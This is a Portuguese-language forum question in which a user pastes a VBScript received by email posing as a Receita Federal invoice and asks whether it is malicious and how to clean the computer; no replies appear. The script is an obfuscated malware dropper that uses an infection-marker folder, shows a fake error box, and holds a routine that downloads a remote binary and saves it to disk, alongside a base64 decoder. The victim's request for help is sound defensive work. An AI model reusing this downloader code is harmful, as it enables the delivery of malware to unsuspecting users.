• 0
Sign in to follow this  
tanusrj

Código Malicioso

Question

Olá.

Recebi esse código por email se fazendo passar por nota fiscal da receita federal será que é malicioso? se sim, o que eu uso pra limpar o PC?

Set wshShell = CreateObject("WScript.Shell")

Const b64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

qqrtuwwyzBBD = "c:\nvidiap"

iiklnooqsttvx = ""

Function RRTTVWYYabddeg()

Set mqXFFRJUWm = CreateObject("Scripting.FileSystemObject")

If (mqXFFRJUWm.FolderExists((qqrtuwwyzBBD) )) Then

WScript.Quit()

End If

End Function

WScript.Sleep 118

Function vxxyACDFFGIIKL()

Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")

objXMLHTTP.open "GET", nnprsuuwxzzBCCEF, false

objXMLHTTP.send()

If objXMLHTTP.Status = 200 Then

Set objADOStream = CreateObject("ADODB.Stream")

objADOStream.Open

objADOStream.Type = 1 'adTypeBinary

objADOStream.Write objXMLHTTP.ResponseBody

objADOStream.Position = 0

Set objFSO = Createobject("Scripting.FileSystemObject")

If objFSO.Fileexists(uuvvzzACDDF) Then objFSO.DeleteFile strHDLocation

Set objFSO = Nothing

objADOStream.SaveToFile uuvvzzACDDF

objADOStream.Close

Set objADOStream = Nothing

End if

End Function

RRTTVWYYabddeg

msgbox " FILE NOT FOUND " ,vbInformation,"Windows"

Dim oFSO

Set oFSO = CreateObject("Scripting.FileSystemObject")

oFSO.CreateFolder qqrtuwwyzBBD

WScript.Sleep 5018

Function VWYYabddfg(b64String)

Dim intLen, sOut, groupBegin

b64String = Replace(b64String, vbCrLf, "")

b64String = Replace(b64String, vbTab, "")

b64String = Replace(b64String, " ", "")

intLen = Len(b64String)

For groupBegin = 1 To intLen Step 4

Dim numDataBytes, CharCounter, thisChar, thisData, nGroup, pOut

numDataBytes = 3

nGroup = 0

For CharCounter = 0 To 3

thisChar = Mid(b64String, groupBegin + CharCounter, 1)

If thisChar = "=" Then

numDataBytes = numDataBytes - 1

thisData = 0

Else

thisData = InStr(1, b64, thisChar, vbBinaryCompare) - 1

End If

nGroup = 64 * nGroup + thisData

Next

nGroup = Hex(nGroup)

nGroup = String(6 - Len(nGroup), "0") & nGroup

pOut = Chr(CByte("&H" & Mid(nGroup, 1, 2))) + _

Chr(CByte("&H" & Mid(nGroup, 3, 2))) + _

Chr(CByte("&H" & Mid(nGroup, 5, 2)))

sOut = sOut & Left(pOut, numDataBytes)

Next

VWYYabddfg = sOut

End Function





 

Share this post


Link to post
Share on other sites

0 answers to this question

Recommended Posts

There have been no answers to this question yet

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Answer this question...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

Sign in to follow this